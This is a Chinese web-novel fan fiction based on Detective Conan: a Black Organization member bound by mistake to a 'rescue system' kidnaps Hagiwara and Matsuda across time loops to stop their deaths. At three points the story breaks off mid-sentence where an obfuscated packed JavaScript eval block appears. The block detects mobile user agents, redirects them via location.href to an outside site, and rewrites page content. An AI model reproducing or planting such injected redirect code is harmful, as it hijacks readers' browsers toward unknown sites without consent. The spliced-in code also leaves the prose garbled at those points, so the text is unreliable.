《从零开始的系统错绑了真酒》 1. 第 1 章 “小心——” 急促的声音混杂在轰隆声中响起,穿过掉落的碎石和摇晃的楼房,进入北百川一的耳中。 有点迟了。北百川一看见带着钢筋的混凝土碎块朝着他的方向从天而降,判断了一下距离感觉自己好像有点死了。 真倒霉,只是简单地踩个点怎么也能遇上爆炸。 躺平等死和再抢救一下吧的念头刚要开始打架,北百川一的身体还没来得及反应,在他的余光里,远处那道看不清楚的身影冲破漫天尘埃朝他猛地扑了过来。 昏暗中紫灰色的眼睛亮得惊人,北百川一来不及惊愕,下一秒大地又一次猛烈摇晃,混凝土、玻璃像雨一样凶狠地落下,他只觉得脑袋一痛,亮丽的紫灰色眼睛消失,北百川一陷入了一片漆黑。 [哈喽哈喽,宿主你醒了吗?] “……”北百川一醒了,但是他觉得自己可能还没醒。他看着苍白的天花板,心想会不会是刚才的爆炸把他整出脑震荡了,不然他怎么会听到幻听。 房间里只有他一人,他猜测自己应该是被好心人送到了医院。北百川一一动不动地躺着,感受着完好的四肢。只有手臂有点痛,不过也不严重。不知道把他救下的那位好心人有没有受伤。 北百川一脑海里浮现那双紫灰色的眼睛。 真漂亮啊。有点想收藏。 [宿主宿主,听得见吗?我是警校组拯救计划系统996,我可以叫你zero吗?现在我为你解释一下情况吧。]脑海里欢快的机械音这么说。 北百川一没有给出反应,只是默默记下了这个自称系统的东西说的话。他在摸鱼的时候也会看一点流行小说,如果这些不是他的幻听,那事情就变得有意思起来了。 996系统的业务能力还不错,三言两语就解释清楚了。北百川一若有所思,所以说,他所处的世界是一本漫画,漫画里有五个很受欢迎的人被读者称为警校组,因为五个人死了四个,引起广大读者的不满,所以派出了系统996来绑定宿主,对死去的人进行拯救。 系统996说着说着,在北百川一脑海里放出一张照片,一边颇有几分激动地说:“警校组有救了!我们快去救你的朋友吧!” 北百川一心想系统996虽然是机械生命,但是看起来智慧不低。不过应该也不高。北百川一凝视着照片中有着金色头发、深色皮肤、以及紫灰色眼睛的青年,似乎知道为什么系统会搞错人了。 看来这就是那位好心人了。 眼睛好看,人也好看,还很善良。北百川一心想。更加想绑回家收藏了。 北百川一决定打破系统的幻想,他在脑海里说:[我没有朋友。] 系统996还没有反应过来,语气依旧保持着激情:[别傻了,你那些警校组的朋友,萩原、松田、hiro、班长,你是唯一能够拯救他们的人,zero!] 北百川一心升两秒对系统的怜悯,很是不忍心地告诉他真相:[你好,不认识。] [欸?] [因为我不叫zero。]北百川一的视线落在照片里的金发青年身上,轻笑,[你绑错人了,系统。自我介绍一下,我是北百川一,很高兴认识你。] [!?!] 系统显然是被这个摆在面前的事实惊得宕机了。北百川一赢得了长达十分钟的大脑安静。他从床上坐了起来,看见自己的手机被放在床头。 手机屏幕正好亮起,是新邮件提示。北百川一看了一眼手机,又扫了一眼房间角落的监控,把手机收进了口袋。 没过多久,几位警察推开房门走了进来。 北百川一有几分无奈。在这场事故上他真的是无辜的路人群众,能做的也只有老老实实地回答警察的问题。 问话很快结束,北百川一也清楚,警察唯一觉得有疑点的也只有可能是他那个时候为什么要走进那栋废弃的大楼。他只需要回答:“我听到了小猫叫,于是就走了进去想看看情况。”这样的回答足以把这个问题敷衍过去。 警察没有产生更多的怀疑,在了解情况后,问话的警察同情地看了一眼北百川一包扎得严严实实的右手手臂,顺口问:“右手受伤还是会有一些不方便吧。” 北百川一不动声色地附和:“是有一点,也不知道多久能够恢复。” “好好休息,之后我们可能还会再找您进行询问,了解一些细节上的问题,还请麻烦您配合。”坐在他面前的警察站起身,客客气气地说道。 北百川一点点头,问:“警官先生,请问爆炸现场除了我以外,还有别人吗?” 警察一怔,触及他眼里自然而然的关心,以为明白了什么,笑着摇摇头:“没有,你比较幸运,爆炸的规模不大,没有怎么伤到你,是正好有人看见你进大楼,所以在发生爆炸后立刻叫了警察来。” “这样啊。”北百川一笑笑,没有再问别的问题,目送着警察离开。 房间里又只剩下他一个人,他重新躺下,眼里的关心消散得无影无踪。他很肯定自己进大楼的时候没有被任何人看见,那位紫灰色眼睛的好心人只有可能一开始就在大楼里。但调查这件事的警察却说没有别人。 有意思。北百川一从脑海里把那张系统给的警校组照片调了出来,盯着背景上“警视厅警察学校”几个字看了一会儿,隐隐有些想法。 系统996也终于从绑错人的震惊中缓了过来,刚才有人他不好打扰北百川一,现在没人了开始在北百川一脑海里呜呜哭:[呜呜呜,但是我绑定了人就不能解绑了,怎么办啊北百川。] [需要我帮你完成任务吗?]北百川一假装好心地问。 [可以吗!]系统996振作了起来,它嘿嘿笑着。其实它早就想说这句话了,听到北百川一主动提出,它更是高兴,迫不及待地说,[如果你愿意帮我的话那真的非常感谢!!] [我不知道要怎么做。]北百川一这么说,终于进入了他想要的正题,[或许你能给我一些帮助,比如说,把这部漫画给我看。] 系统996的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612183|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却有几分为难:[可是可以,但是这部漫画有点长……你现在有时间看吗?] 北百川一这个时候并没有意识到事情的严重性,他随口说道:[正好躺着也没有事情做,现在正好可以了解一下他们的情况,也方便我展开计划。] [那我把两部漫画都传给你,一部是正传,一部是外传。]系统真的以为北百川一要帮他完成任务,高高兴兴地把两部漫画一股脑扔给了北百川一。 一千多话的漫画就这么猛地砸进了北百川一脑海里,大脑承受过多的信息,抗议地产生撕裂的疼痛,北百川一闷哼一声,眼前又是一黑。 北百川一睁开眼,面前是苍白的天花板。 这一幕好熟悉。北百川一心想,下一秒应该是有个系统的声音响起来。 [宿、宿主,你还好吗?]系统996的声音如他想的那样响起。 [我不好。]北百川一说。他感觉脑海还在隐隐作痛,不过这回可能是被气到的。他一边坐起来摸口袋里的手机,一边问系统,[现在几点了?] 他摸了个空,口袋里没有手机,他警觉了起来,发现手机躺在床头,上面的屏幕亮起。 这一幕过于眼熟了。系统996的声音适时地响起:[嗯……还是十一月七日上午十点零七分。] ?怎么可能?他刚才被警察问话的时间就已经是十点十分了。北百川一拿手机的手一顿,意识到了什么。 系统996的声音小心翼翼:[宿主,我刚才还没来得及向您说明情况,您就失去了意识。然后在你失去意识的这段时间里,因为没能成功救下萩原研二,我们回到了24小时前。] 没事用“你”,有事用敬词。“……” 北百川一在短暂的无语之后,很快意识到了这会带来什么好处,他眯了眯眼,问系统:[你的意思是,我只要救人失败了,时间就会循环?有什么限制吗?] [没有限制。]系统996飞快地回答。 那很好了。北百川一飞快搜集了一下大脑里信息。漫画里没有明确说明过萩原研二殉职的时间,他初步判断大概是在下午,现在是上午十点,赶过去还有时间。 在他“昏迷”的这段时间里,实际上是在接收巨量的漫画信息,他把漫画剧情分好了类,需要的时候直接进行搜索就好。 反正能循环。北百川一抄起手机,果断地推开病房的窗户,翻身攀着墙沿灵巧地落在了地上。 系统996在他脑海里惊喜地问:[宿主你是要去救人了吗?]原来他绑定了一个这么有效率的宿主!太好了任务有救了。 可是他听见北百川一这么回答他:“谁和你说我是要去救人?” 北百川一的手指在手机划过,划过一条条催促质问的邮件,然后就像是刻意表现给系统996看的一样,他慢条斯理地在键盘上敲下一行字: [别催啊,琴酒。出了点意外,就来。——密斯卡岱] 等等,这个琴酒是它知道的那个琴酒吗?系统又一次宕机了。 2. 第 2 章 系统996感觉自己的某道程序可能出了点问题,不然怎么运转起来卡卡的。它瞪大了眼睛——如果它有眼睛的话,不敢相信自己看到了什么。 密斯卡岱又是什么! 完蛋了这个是酒名,面前这个是组织成员!他居然绑定了一个组织成员!还想让这名组织成员配合它完成拯救警校组的任务! 系统996感觉自己遇到了职业生涯的滑铁卢,刚刚开始的职业生涯可能就此要结束了。它会不会因为北百川一拒绝展开拯救任务,被一辈子困在时间循环里? 好绝望,它怎么就绑错了人?怎么就偏偏绑定了组织的代号成员!而且这个代号成员看起来和琴酒关系还不错。 对啊,它怎么就帮错了人?系统996反应了过来。赶紧翻开行动记录手册。 北百川一在系统不说话的时候已经随手撬开了路边的一辆车坐了进去,动作如行云流水,一看就是违法犯罪的熟手。系统996看了更是绝望,脑袋里翻来覆去都是“怎会如此”。 [别想了。]北百川一在脑海里对系统说,[看在时间循环的份上,我还是会帮你完成任务的。不过要排在我自己的事情后。] 同时也是看在……zero的份上。北百川一无声地在脑海里重读了一遍这个绰号,勾起嘴角,补充了一句:[也是看在zero的份上。我知道你为什么会绑定错人,是因为那个时候你想绑定的人正好救了我对吗?看在他的份上,我也会帮忙好好完成任务的。] 系统996刚弄清楚自己为什么会绑错人,没想到北百川一已经猜到了,它有几分不安,小心地说:[其实只要宿主不要揭发zero的身份就好了。作为警校组的一员,zero虽然不是拯救对象,但是也是不可以死掉的。] [我当然不会。]北百川一说,他纠正系统的叫法,[你叫他降谷零就行。] 系统不明所以,北百川一也没有解释,他终于折腾好了汽车,一脚油门下去,直冲目的地而去。 ------------- 系统996有一点让北百川一很满意的就是它很安静,除了在交代事情之余并不会多说话,比如现在。北百川一一边听着琴酒说话,一边走神地想。 哦,不过也可能是被吓到不敢说话了。 毕竟在漫画里,他们可是彻头彻尾站在主角团对立面的组织,也就是反派。 这个组织还真是加对了。 琴酒更是这个组织里为数不多极具压迫感的成员。想到这里,北百川一不由从下到上把琴酒打量了一番。 琴酒的声音停了下来,北百川一和他对视,从他眼里看见了冰冷和不悦,琴酒冷冷地问:“你有在认真听吗?” 话语落下,咔嚓一声,手/枪上膛举起,抵在北百川一的额头上。 北百川一举起双手作出投降的姿态,却依旧是那副漫不经心看着让琴酒恼火的样子。 “在听在听。”北百川一歪了歪头,避开枪口,凑近,进一步认真地打量琴酒,想看看那么多年不见对方具体有哪些变化。 两人已经超过了一般社交距离,琴酒微不可察地皱了下眉,就在他决定给北百川一一点颜色看看的时候,北百川一开口了:“我这段时间一直在想,你为什么会觉得我很适合组织。总不能是因为——当年我抢了你的第一,这么多年你一直对此耿耿于怀吧?” 一秒,两秒。 第三秒琴酒毫无征兆地动手,右手握拳挥出被北百川一料到挡下,然后就是北百川一完全没想到的大力一脚,踹在他的肚子上,他的抵挡没起到多少作用,整个人重重地飞了出去,撞在了身后的墙上。 “砰——”一声很是沉闷,扬起尘土,北百川一一半是因为痛,一半是因为被灰尘呛到,咳嗽了半天,看见琴酒嫌弃地往后退了两步。 “你谁?”琴酒的回击是嘲讽的短句,他把手里的u盘丢到了北百川一身上,转身离开。 所以果然是因为这个原因,才会把他拉进组织吧。北百川一轻啧了一声,捡起u盘从地上站了起来,来不及拍去身上的灰尘,他追上琴酒,就像感觉不到琴酒身上的冷意一般,他笑眯眯地问:“大哥,能借点人给我用吗?我有点自己的事想要处理一下。” 琴酒的语气淡淡的,没有波澜:“作为代号成员,你有调动组织外围成员的权力,只要不危害组织的利益,不背叛组织,你想做什么不需要和我说。” 虽然是这么说的,只是他们都心知肚明,组织确实不会管组织成员想要做什么,但如果用的组织的人,那就很难避开组织里那些无处不在的情报分子。 更何况他要救的人还是个警察。真是难办啊。 “除非——”琴酒停下了脚步,绿眸里折射出凶狠的色彩,像是要把北百川一钉死在地上,“你想要做一些危险的事。” “被你说中了。”北百川一语调高兴,就像是在恭喜琴酒中了什么奖,他吧嗒吧嗒鼓掌,“我要救一个警察,借点人,大哥。”可能不止一个。他在心里默默补充了一句,觉得后半句话没必要说出来给琴酒添堵。 系统996终于有了反应,它此时在北百川一脑袋里尖叫:[啊啊啊啊不要啊老大!!!重开吧我们重开吧老大!]靠琴酒救警察这件事什么的听起来也太地狱了! 北百川一屏蔽了系统的声音,等待琴酒的反应。 琴酒如他所料并没有太大反应,半点神情都没变,依旧是那副下一秒就可以拔枪杀人的冷酷,他步子都没变:“你自己处理好后果。” 北百川一没再继续跟上去,他站在原地,衡量了一下利弊。琴酒的意思也就是组织的意思。区区一个警察,组织不会放在眼里。只是萩原研二之后就做不了警察了。 这么看对自己好像只有利。 拐来组织给自己当手下吧。北百川一愉快地决定了。以后要救的人也都拐来组织!他已经开始期待zero进入组织后的情景了。 眼看着琴酒就要走出他的视线,北百川一抬高声音,明知故问:“你的意思是答应借我人了吗?大哥!你人真好!” 回应他的是琴酒忍无可忍地一颗子弹,精准地砸进他脚边的地面。 连消音器都没用吗?看来是真的被惹恼了。北百川一看着琴酒离开,脸上不正经的笑加深了,笑意却不达眼底。 北百川一解除了对系统的屏蔽。 一解除就是系统的哭嚎。北百川一不知道它在嚎什么,有点不耐烦:“别吵。” 系统的声音戛然而止,它闭上嘴,安静了几分钟后小声问:[宿主,你和琴酒的关系很好吗?为什么你会想到找他帮忙?] 北百川一低头看手机,手指在键盘上飞速地跳跃,一条条命令被发送至一个个邮箱中,他想到毕竟系统是未来很长一段时间的合作人,勉为其难地开口解释:[不好。不是找他帮忙,只是报备。] 他的解释也就到此为止了,希望系统聪明一点自己去思考。北百川一的手机响了几声,他看了眼,是不认识的电话号码,估计是医院那边在找他,他掐断电话,这一个循环里他不准备把时间浪费在医院。 先进行一次尝试,如果这一次能把人救下来那之后都可以采用这个方案。 ------- 十一月七日,下午一点五十分。 北百川一坐在另一辆不属于自己的汽车里,广播里播放着紧急插播的新闻:[……以两栋公寓的居民作为人质对警方进行威胁,要求拿出十亿日元……] 手机振动了两下,北百川一扭头,看见一辆黑色的面包车停在他的车旁边,脸色苍白的司机走下来,在他的车窗前低声道:“大人,人我带来了。” 北百川一扫过司机脸颊上显眼的伤口,露出同情的神情:“不好对付吧?给你放一周假,回去好好休息。” 司机有些,没有想到这位新拿到代号的大人看起来很平易近人,他下意识为自己辩解:“我一开始怕惊动别人,没有用枪,所以受了点伤。” “没关系,人带来了就行。”北百川一这么说着,嘴角却往下撇了两度。他一开始就在邮件里安排好了,让人直接上消音器抓人质威胁,但总有蠢货就是有自己的想法,不按照他的安排做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612184|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,组织外围成员,不能要求太多。但他之后肯定是不会再用这个人了。 北百川一心里闪过数种无声无息处理掉一个人的方法。转念又想到这件事还是丢给琴酒来头疼吧,琴酒的人,他提醒一下琴酒已经是仁至义尽。 北百川一下了车,司机看上去想帮他打开车门,被他制止了:“我自己来,你先回去吧。” 他拉开车门,看见了被绑在车里的穿着警服的青年。半长的黑发,脸藏在阴影里有些看不清,只能看见双目紧闭,大概是按照他的要求被麻醉了。 北百川一一只脚踩进面包车,伸出手想要把人揪起来看看。 也就是他的手即将碰到对方的那一刻,青年猛地弹起,丝毫没有不清醒的样子,出手就是朝北百川一的脖颈而去。 北百川一就知道手底下的人一点也不让人省心,也不算意外,他虽然现在打不过琴酒了,但对付刚出警校的警校生还不至于被一招制服,他躲过攻击,看清了面前这人确实就是萩原研二。 萩原研二一击落空,毫不恋战,在北百川一后退让出位置的时候,看准机会就想要跳下面包车。 下一秒,冰冷的金属抵住了他的后脑勺,北百川一假模假样地叹了口气,说道:“还差一点。” “萩原先生——我应该可以这么叫你吧。”北百川一礼貌地问。 萩原研二背后冒出了一点冷汗,他冷静地站住了没动,感受着冰冷的枪口,仅凭这一点判断不出来是不是真枪,却不敢在这种情况下赌。 “可以。那你呢?我应该怎么称呼你?”萩原问,他的视线落在面包车的车窗上,想要借助反光看清楚背后的人的长相。 “你转过来吧。”北百川一大大方方地让他看,还贴心地说,“我们可以坐下来,面对面地好好聊聊天,我并没有恶意。” 没有恶意?没有恶意为什么要绑架自己?萩原研二转身,终于看清楚了真正要绑架他的人的脸。 出乎意料的陌生。萩原研二在过来的路上想了很多,原以为可能是自己当警察这一个月里惹上的仇家,没想到却是一张完全陌生的脸。他很肯定自己之前从未和这人发生过交集。 这人很年轻,不会比他大多少,甚至有可能比自己小。面包车里光线昏暗,只能看出是黑色的短发,深色的眼睛,样貌出众,却不是那种周正的受欢迎长相。硬要说的话……对方笑起来很像反派。萩原心想,也不知道是不是因为自己现在带着滤镜。 对方半蹲在车内,浑身都透着懒洋洋的感觉,握着枪的手都像是没什么力气,但萩原研二估摸了一下刚才两人碰撞时对方的力气,知道单看力气这人不会比自己差。 他注意到这人用的是左手拿枪,左撇子吗? 北百川一任由他打量,半晌觉得他应该看够了,他才回答萩原刚才的问题:“你可以称呼我为密斯卡岱。” 他稳稳地举着枪,一边在面包车上找了个合适的位置坐下。 “称呼不重要。”他看了眼时间,也不知道萩原研二殉职的时间具体是几点,现在也不能放人走,干脆聊聊天,“我们来聊天吧。” “?”萩原研二觉得面前的人奇怪至极,把他绑架过来难道就是为了聊天?他不信。他没有错过北百川一看手表的动作,猜测对方或许是想要拖延时间。难道说对方是今天那些炸弹犯的同伙?为了拖延时间不让他去拆弹? 可是为什么要这么做?萩原想不明白,但此时他能做的只有先聊天,看看能不能从对方嘴里套出话。 “密斯卡岱听起来不像是一个名字。”萩原选择先从已知信息入手。 “因为这是一个代号。”北百川一不介意透露一些,反正如果成功的话,萩原就会成为他在组织里的手下,不成功重新时间循环,那萩原就什么也不会记得。 不过他不喜欢提太多自己的事情,回答完这句话后,立刻把话题拉了回来,他想问点更有意思的事。比如说—— “诶,萩原同学。”北百川一眨眨眼,“采访一下,你觉得zero是一个怎样的人?” “?” 3. 第 3 章 萩原以为自己听错了。这个话题是怎么一瞬间跳到毫不相干的问题上的? 他立刻想到,在他们从警校毕业之后,似乎就没有再听过降谷零的消息。他和松田阵平被机动队提前招揽,他不相信作为警校第一的降谷零会没有去处。很有可能降谷零是加入了一些不便透露行踪的秘密部门 。 面前身份不明的这人是冲着降谷来的? 萩原研二更加看不明白了,他提起了警惕,装作听不懂的样子:“密斯卡岱先生,我有一点听不懂,我认识的人里面似乎没有叫这个的。” 北百川一知道他肯定不会老老实实地交代,但对付好人可太容易了。他松了手里的枪,枪在手里转了半圈,看起来整个人松懈下来,萩原却更加不敢轻举妄动了,因为北百川一用一句话轻松拿捏住了他:“不想说是吗?我给你一分钟的思考时间,不说的话,我就随机挑选一个路人开枪。” 他说这句话的语气,就像是在说午饭时间到了我们来吃饭吧那样轻松,表情却充满危险,谁都知道他不是在开玩笑。 萩原僵住了,他忍不住在心里大骂神经病,想不通刚毕业的降谷是怎么惹上这么一号人物的。这人又是怎么知道他们同期关系找上门来的?按照他的判断,降谷应该是在某个地方秘密培训才对啊。 北百川一提醒:“还有四十二秒。不过你可以多犹豫一会儿,这里比较偏,一般不会有什么人经过,我想要抓人还得让人出去抓。” “我想问一下,请问您指的是我在警校期间的同期降谷零吗?”萩原还是开口了。他和降谷零是同期这件事很多人都知道,他可以选择性地透露一些信息。 他是在要去拆弹的路上被人绑架的,绑架他的人动作并不熟练,再加上他留下的讯息,希望很快就有人能够找过来。他现在暂时没想到很好的办法自救,只能够拖延时间。 萩原挑着说,北百川一也挑着听。他当然知道现在的自己在对方眼里肯定是个顶级恶人的形象。他看过漫画,知道萩原在社交方面有着不错的能力,见人说人话,见鬼说鬼话,他现在听到的就全是鬼话。 他一边听着,一边低头看手机里的邮件。 [他们人手很紧,只派出了不到三分之一人寻找萩原警官。]时间二十五分钟前。 [他们把松田阵平警官安排去了原本萩原警官应该去的位置。]十五分钟前。 [警方答应赎金要求。]这是最新一条,时间是五分钟前。 来自组织在警方的卧底。 北百川一皱了皱眉,意识到不对。 他伸长手去打开面包车里的广播,想要知道炸弹犯最新的消息。 距离炸.弹犯发出威胁已经过去了一段时间,根据他的内部信息,警方已经和炸.弹犯暂时和谈,对方也暂停了炸.弹计时,广播里播放的却还是前几分钟炸弹计时继续的新闻。 北百川一沉默了几秒,知道接下来的剧情会像原著那样发展。其中一名炸.弹犯看见新闻,误以为炸.弹计时还在继续,仅剩的良心让他打电话提醒警察,却在电话亭被警察利用包围,逃走的时候被车撞死。 剩下的一名炸.弹犯为了给同伙报仇,选择恢复了炸.弹计时,漫画里还未拆除炸.弹的萩原研二因此殉职。 而这一次,原本的萩原研二应该去的地方换成了松田阵平。 警察殉职,有点良心的犯人也死了,剩下一个祸害遗千年。北百川一撇撇嘴,知道这次的营救计划要失败了。 北百川一看了萩原研二一眼。对方在他看邮件的时候就停了下来,此时不知道是不是察觉到了什么,脸上一直以来冷静的神色被打破了,他一只手下意识按住了口袋,或许是想要找到被收走的手机。 想到就要进入循环,一切要重新开始,萩原研二不会记得这一次循环发生的事情,北百川一在最后这点时间里流露了些真情实感。 他叹了口气,很是遗憾地说:“说来你可能不相信,我把你绑过来是为了救你。” 话音落下,他还没来得及看清萩原研二的反应,就进入了熟悉的黑暗。 【任务失败。救援目标二号松田阵平死亡,剩余目标:0/5,请宿主继续加油。】 ------------ 北百川一闭着眼,回想着在上一个循环里最后听到的那句话,把系统996揪了出来:[那句话是你说的吗?]听着不像,像真人机。 [哪句话?]系统疑惑,[你不是把我屏蔽了吗大人,我没说话。] 就知道不是它。[我在上个循环失败后听到了一句话,说我剩余目标是0/5,为什么是0/5?]北百川一很在意这句话。 [噢,你说的是这个啊,只是系统播报,不用太在意,是自动的。]系统这么说,完全没抓住重点。 北百川一心想如果系统有实体的话那他一定要掐死它,他深呼吸,重复了一遍自己的问题:[为什么剩余目标是0/5?漫画里警校组不是只死了四个人吗?] 难道在最后的结局里,zero也死了吗? 系统呆了两秒,疑惑地反问:[对诶,为什么啊?] [你是实习生吗?]北百川一失去了耐心,问这个家伙等于白问,浪费他的时间。 系统惊讶地说:[你怎么知道的?] 北百川一没理它,时间已经拖到了警察来问话的节点,他只能留在这,敷衍完警察后翻出去重复了第二个循环里做过的事,找琴酒报备,然后找人展开绑架行动。 不过这一次,他选择把萩原研二和松田阵平两个人都绑过来。 这下看你们还怎么死。 绑架两个警察远远比绑架一个要费劲,好在组织别的不多,钱多,一次性外围成员多。 熟悉的面包车又一次在他面前停下,北百川一这回提前下车等着了,打发走了外围成员,他举起枪对准面包车车门,他选的地方很偏僻安静,他的声音能够清晰地被听见:“下来吧,我知道你们醒着。” 昏暗的面包车里,萩原拉出了原本想要冲出去的松田阵平。松田疑惑地看着他,按照他们本来的计划,是准备一见到主事者,就冲出去把人解决掉,然后尽快回到警视厅。 萩原轻轻摇摇头,不知道为什么,他总觉得这一幕似乎曾经发生过,总觉得对方不会这么容易就被解决。用眼神沟通没有办法传达那么多信息,他只能告诉幼驯染,外面那人给他一种很危险的感觉。 他抢在松田前面,拉开了面包车的门。 两人都看见了北百川一举着的枪,黑洞洞的枪口让他们知道不能轻举妄动。 北百川一挑眉,嘀咕:“忘了这回是两个人。”他舒展了下受伤的右手,判断勉强能用,从口袋里又抽出了一把枪,一把枪对准一个人。 他当然不会开枪,但面前这两个人可不知道,他微笑地说:“这样就好了,我们坐下来聊聊天吧。” 萩原问过一轮了,没必要又问一次,北百川一看向松田阵平,直接进入正题:“来和我聊聊zero吧,你们不打不相识,关系应该还不错?” 松田的神色变得古怪了起来,他迅速地看了萩原一眼,眼神的意思是:这人没病吧把他们绑过来就是为了问这个?降谷那家伙惹上什么人了? 北百川一把两人的神情都收入眼底,他叹气,在地上找个地方坐下,颇有几分无奈:“听着我很像一个变态,但我真的不是。说起来你们可能不信,我是为了救你们——只不过方式有那么一点粗暴。” “?那和降谷有什么关系?”松田反问,“你是什么人?为什么要在这个时候绑架我们?你认识降谷零?” “关系不大。”北百川一真诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612185|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说,“只是因为我想追他,所以多了解一点信息。” “……” 萩原和松田二人齐齐沉默了,都觉得这人很可能精神有问题。要么就是个极致危险的神经病。 不说话是一种很好的美德,北百川一喜欢,他继续往下说:“我救你们也是因为你们是他的朋友。” “我们并没有遇到危险。”萩原说,他不动声色地从背后拽了一下松田的衣服,让他先别急着说话。 “没有我把你绑过来,你就要死了。”北百川一说。 两个人都注意到了他这句话里似乎只提到了萩原,松田明显焦躁了一些,忍了五秒不到,他还是说话了:“什么意思?你知道了什么?” 北百川一没想好要怎么解释,要不说自己有预知能力?还是随便敷衍一下? 他还没回答,听见萩原说:“如果你没有恶意的话,我们能不能放下枪说话。” “没问题。”北百川一举枪也举得有点累,他看了眼时间,这次把两个人绑过来的时间要更加延后一些,估计再拖个一小会儿,就能够知道这次的任务会不会成功了,他放下了枪。 “你还没有回答我的问题。”松田说,他往前迈了一步。 “我还在想怎么回答。我们来交换吧,你们有没有zero的照片,或者别的什么。”北百川一想到一个好主意。 松田很快地说:“没有,有我也不会带在身上。别的什么是指什么?” “看你们理解。”北百川一说。 话音落下,果不其然看见两人脸上露出了看变态的神情。嗯……不会都往贴身物品那方面想了吧。北百川一给自己声明:“我没这么说,这可是你们自己想的。”他只是简单地想知道一点zero的喜好。 你不就是这个意思吗?两人心想。 萩原摸了摸口袋,什么也没摸到,他却像是摸到了东西一样,缓步往前走,一边说:“还真有,我之前……” 他说着话,靠近了北百川一。一步、两步,他大喊一声:“松田!”然后朝着北百川一放在身边的枪扑了过去。 按照他们暗中交流的那样,松田应该借着这个机会逃走或者是冲过来帮忙一起制服这人,萩原抓住了北百川一的枪,北百川一没有任何反应,他也没有听到松田的脚步声,心不由一沉。 北百川一的声音在他身边响起,他优哉游哉地从萩原手里把属于自己的枪抽了回来,示意他起身看看松田的方向。 萩原回头,看见不详的狙击红外线红点落在松田身上,松田咬着牙,让他不需要照镜子,也知道自己身上必然也是有着同样的红点。 怎么还会有狙击手?甚至不止一个。 北百川一站起身,伸了个懒腰,说道:“很抱歉,我从来不做没有准备的事。” 下一秒,熟悉得不能再熟悉的黑暗降临,北百川一没想到这次任务失败来得如此突然。 【任务失败。主线剧情被严重破坏,剩余目标:0/5,请宿主继续加油。】 “?”服了。北百川一恼火地睁开眼。怎么在进行任务之前没有告诉他主线剧情被破坏也会导致任务失败。 [996,我的任务又失败了。主线剧情被严重破坏,你有什么头绪吗?]北百川一的声音冷冷的,让系统感觉到了一点心虚。 系统小声说:[是、是我忘了和宿主说。是这样的,我们在进行任务的时候,也要注意不能太破坏主线剧情……] [我哪里破坏了?上一个循环怎么没有这个提示?这个说的是《名侦探柯南》的主线吧?主线不是和主角团和组织搏斗吗?我救人没有任何影响吧?]连续几次任务失败让北百川一很是不悦。 系统支支吾吾:[嗯……宿主,《名侦探柯南》的主线,其实是高中生侦探恋爱来着……不是和黑衣组织搏斗。] 4. 第 4 章 “……”北百川一有种自己一千多集漫画白看了的感觉。 他重新开始思考自己这次为什么会失败。 上一回合救了萩原,但松田死了,所以实际上和原著没有特别大的区别,没有影响七年后的主线。 但这一次他救了两个人,两个人都活着……两个人活着影响你们高中生谈恋爱了吗? 北百川一都要把脑袋想破了也想不到,最后猜,是不是因为这两人活着,所以七年后炸.弹犯再次出现的时候,轮不到柯南出场,这两人就把炸.弹犯解决了,所以把原本新兰的剧情挤掉了。 这真的说得通吗?北百川一决定不想了。毕竟,主线是高中生恋爱的话,他在后续做拯救诸伏景光任务时就会容易很多。 系统见他安静了好久,以为他还在想任务,试图提醒:[宿主大人,你还有一个系统商店可以兑换道具,你有一些初始赠送的兑换点,要不我们用点道具吧。] [不用。]北百川一拒绝了。他打开系统商店,看了其好一会儿,最后什么也没有买。 [这些兑换点我留下来有别的用处。]北百川一更多是在自言自语,[五千兑换点呢。] 系统也打开系统商店看了看,五千兑换点的道具好像只有一个。 【第二人生:可塑性极强的崭新身份,为您捏造新的生命!所需兑换点:五千。】 宿主想要这个?系统没明白。 ------------ 这一次循环北百川一依照前几次来,先被警察问话,然后找琴酒。 [这次宿主还是打算绑架萩原吗?]系统看见北百川一还是联系了一些组织成员,于是问。 [绑架。不过这回换一种方式。]北百川一要坚定不移地选择最省事的救人方式。 他意识到了,萩原和松田之间似乎有某种奇怪的关系。 这种关系叫做:不管你死还是我死另一个在四年后都会走上同样的结局。 所以说在第二次循环里,他单独绑架萩原的时候,任务失败的原因是松田阵平死亡,而不是主线剧情被严重破坏。 那如果不想破坏主线剧情,又想要救人的话,只有让萩原假死了。北百川一很快就有了计划。 --------- 松田阵平顺利地把负责的炸.弹拆除了。装置很简单,对他来说,用不了三分钟,但这也说明一件事,犯人的重点应该放在了另一边,也就是萩原那一边。 他压下心底的莫名的不安,站在公寓下面,拨通了萩原的电话。 身边有一个组的人在小声议论:“奇怪,为什么这一次……” “按照规定不应该他一个人上去啊?你确定吗?” 